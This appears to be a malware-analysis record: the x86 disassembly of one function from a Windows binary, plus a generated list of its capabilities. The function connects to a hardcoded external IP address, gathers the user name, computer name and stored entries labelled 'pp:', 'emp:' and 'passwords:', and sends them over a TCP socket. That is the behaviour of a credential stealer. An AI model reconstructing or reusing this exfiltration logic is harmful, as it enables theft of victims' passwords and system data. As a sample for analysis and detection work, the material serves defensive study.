Function at 0x474fb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get hostname
Get session user name
Initialize winsock library
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x4a7464]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, 0x64
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040ad20
call fcn.0040b720
call fcn.00407ae0
mov esi, eax
push esi
call fcn.00407cc0
add esp, 4
test eax, eax
je 0x474ffd
call fcn.0040dff0
push esi
call fcn.00477025
add esp, 4
call fcn.0040c120
lea eax, [ebp - 0x288]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
call fcn.00402340
lea ecx, [ebp - 0x2d0]
call fcn.00408020
mov ecx, dword [0x4aaae4]
sub ecx, dword [0x4aaae0]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x475084
mov ecx, dword [0x4aaab0]
sub ecx, dword [0x4aaaac]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x475084
lea ecx, [ebp - 0x2d0]
call fcn.00402d50
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00476b99
mov esp, ebp
pop ebp
ret 0x10
push 6
push 1
push 2
call sub.WS2_32.dll_socket
push 4
lea ecx, [ebp - 0x29c]
push ecx
push 0x1005
mov esi, eax
push 0xffff
push esi
mov dword [ebp - 0x294], esi
mov dword [ebp - 0x29c], 0x1388
call sub.WS2_32.dll_setsockopt
mov edx, 2
push str.213.8.182.10
mov word [ebp - 0xf8], dx
call fcn.00402310
add esp, 4
push eax
call sub.WS2_32.dll_inet_addr
push 0x571e
mov dword [ebp - 0xf4], eax
call sub.WS2_32.dll_htons
mov word [ebp - 0xf6], ax
push 0x10
lea eax, [ebp - 0xf8]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x4755f1
push ebx
push edi
xor ebx, ebx
lea ecx, [ebp - 0x68]
push ebx
push ecx
call fcn.00476500
push edi
lea edx, [ebp - 0xcc]
push ebx
push edx
call fcn.00476500
add esp, 0x18
lea eax, [ebp - 0x290]
push eax
lea ecx, [ebp - 0x68]
push ecx
mov dword [ebp - 0x290], edi
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x290]
push edx
lea eax, [ebp - 0xcc]
push eax
mov dword [ebp - 0x290], edi
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebx
push 0x493343
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0xd0], 0xf
mov dword [ebp - 0xd4], ebx
mov byte [ebp - 0xe4], bl
call fcn.00401ac0
mov edi, dword [0x4aaae4]
mov esi, dword [0x4aaae0]
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x475344
mov dword [ebp - 0x28c], ebx
cmp ebx, eax
jb 0x4751c3
call fcn.004766d7
mov edi, dword [0x4aaae4]
mov esi, dword [0x4aaae0]
mov ecx, dword [ebp - 0x28c]
sub edi, esi
mov eax, 0x92492493
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add ecx, esi
add eax, edx
mov dword [ebp - 0x298], ecx
cmp ebx, eax
jb 0x4751f5
call fcn.004766d7
mov esi, dword [0x4aaae0]
mov edx, dword [ebp - 0x298]
mov ecx, dword [ebp - 0x28c]
push 0x493598
add edx, 0x1c
push edx
push 0x493acc
add esi, ecx
push esi
lea eax, [ebp - 0x2ec]
push str.pp:
push eax
call fcn.004059d0
add esp, 0xc
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.00402770
add esp, 0xc
push eax
lea edx, [ebp - 0x324]
push edx
call fcn.00402820
add esp, 0xc
push eax
lea eax, [ebp - 0x308]
push eax
call fcn.00402770
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0xe8]
call fcn.004024a0
mov esi, 0x10
cmp dword [ebp - 0x2f0], esi
jb 0x475282
mov ecx, dword [ebp - 0x304]
push ecx
call fcn.00476416
add esp, 4
mov edi, 0xf
mov dword [ebp - 0x2f0], edi
mov dword [ebp - 0x2f4], 0
mov byte [ebp - 0x304], 0
cmp dword [ebp - 0x30c], esi
jb 0x4752b5
mov edx, dword [ebp - 0x320]
push edx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x30c], edi
mov dword [ebp - 0x310], 0
mov byte [ebp - 0x320], 0
cmp dword [ebp - 0x2a0], esi
jb 0x4752e3
mov eax, dword [ebp - 0x2b4]
push eax
call fcn.00476416
add esp, 4
mov dword [ebp - 0x2a0], edi
mov dword [ebp - 0x2a4], 0
mov byte [ebp - 0x2b4], 0
cmp dword [ebp - 0x2d4], esi
jb 0x475311
mov ecx, dword [ebp - 0x2e8]
push ecx
call fcn.00476416
add esp, 4
mov edi, dword [0x4aaae4]
mov esi, dword [0x4aaae0]
add dword [ebp - 0x28c], 0x38
mov ecx, edi
sub ecx, esi
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
inc ebx
add eax, edx
cmp ebx, eax
jb 0x4751c3
mov ecx, dword [0x4aaab0]
sub ecx, dword [0x4aaaac]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor esi, esi
add eax, edx
je 0x475432
xor edi, edi
cmp esi, eax
jb 0x475376
call fcn.004766d7
mov edx, dword [0x4aaaac]
lea eax, [edi + edx]
push 0x493598
push eax
lea eax, [ebp - 0x2ec]
push str.__emp:
push eax
call fcn.004059d0
add esp, 0xc
push eax
lea ecx, [ebp - 0x2b8]
push ecx
call fcn.00402770
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0xe8]
call fcn.004024a0
mov ebx, 0x10
cmp dword [ebp - 0x2a0], ebx
jb 0x4753d5
mov edx, dword [ebp - 0x2b4]
push edx
call fcn.00476416
add esp, 4
mov dword [ebp - 0x2a0], 0xf
mov dword [ebp - 0x2a4], 0
mov byte [ebp - 0x2b4], 0
cmp dword [ebp - 0x2d4], ebx
jb 0x475407
mov eax, dword [ebp - 0x2e8]
push eax
call fcn.00476416
add esp, 4
mov ecx, dword [0x4aaab0]
sub ecx, dword [0x4aaaac]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
add edi, 0x1c
cmp esi, eax
jb 0x475376
push 6
push str.user:
lea ecx, [ebp - 0xe8]
call fcn.004025b0
lea eax, [ebp - 0xcc]
lea edx, [eax + 1]
pop ebx
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x475450
sub eax, edx
push eax
lea ecx, [ebp - 0xcc]
push ecx
lea ecx, [ebp - 0xe8]
call fcn.004025b0
push 1
push 0x493d54
lea ecx, [ebp - 0xe8]
call fcn.004025b0
lea eax, [ebp - 0x68]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x475484
sub eax, edx
push eax
lea edx, [ebp - 0x68]
push edx
lea ecx, [ebp - 0xe8]
call fcn.004025b0
push 1
push 0x493598
lea ecx, [ebp - 0xe8]
call fcn.004025b0
mov ecx, dword [0x4aaae4]
sub ecx, dword [0x4aaae0]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
jne 0x475593
push 0xb
push str.passwords:
lea ecx, [ebp - 0xe8]
call fcn.004025b0
mov ecx, dword [0x4aaafc]
sub ecx, dword [0x4aaaf8]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
xor esi, esi
add eax, edx
je 0x475581
xor edi, edi
cmp esi, eax
jb 0x475514
call fcn.004766d7
mov ecx, dword [0x4aaaf8]
lea eax, [edi + ecx]
push 0x493acc
push eax
lea edx, [ebp - 0x2ec]
push edx
call fcn.00402770
add esp, 0xc
push 0xffffffffffffffff
push 0
push eax
lea ecx, [ebp - 0xe8]
call fcn.004024a0
cmp dword [ebp - 0x2d4], 0x10
jb 0x47555a
mov eax, dword [ebp - 0x2e8]
push eax
call fcn.00476416
add esp, 4
mov ecx, dword [0x4aaafc]
sub ecx, dword [0x4aaaf8]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
inc esi
add eax, edx
add edi, 0x1c
cmp esi, eax
jb 0x475514
push 1
push 0x493598
lea ecx, [ebp - 0xe8]
call fcn.004025b0
push 8
push str.________n
lea ecx, [ebp - 0xe8]
call fcn.004025b0
mov eax, dword [ebp - 0xe4]
mov esi, 0x10
cmp dword [ebp - 0xd0], esi
jae 0x4755be
lea eax, [ebp - 0xe4]
mov ecx, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x294]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
cmp dword [ebp - 0xd0], esi
jb 0x4755eb
mov eax, dword [ebp - 0xe4]
push eax
call fcn.00476416
add esp, 4
mov esi, dword [ebp - 0x294]
push esi
call sub.WS2_32.dll_closesocket
mov eax, dword [ebp - 0x2c4]
xor esi, esi
cmp eax, esi
je 0x47562d
mov ecx, dword [ebp - 0x298]
push ecx
mov ecx, dword [ebp - 0x2c0]
lea edx, [ebp - 0x2c8]
push edx
push ecx
push eax
call fcn.00402a60
mov edx, dword [ebp - 0x2c4]
push edx
call fcn.00476416
add esp, 0x14
mov eax, dword [ebp - 0x2d0]
push eax
mov dword [ebp - 0x2c4], esi
mov dword [ebp - 0x2c0], esi
mov dword [ebp - 0x2bc], esi
call fcn.00476416
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.00476b99
mov esp, ebp
pop ebp
ret 0x10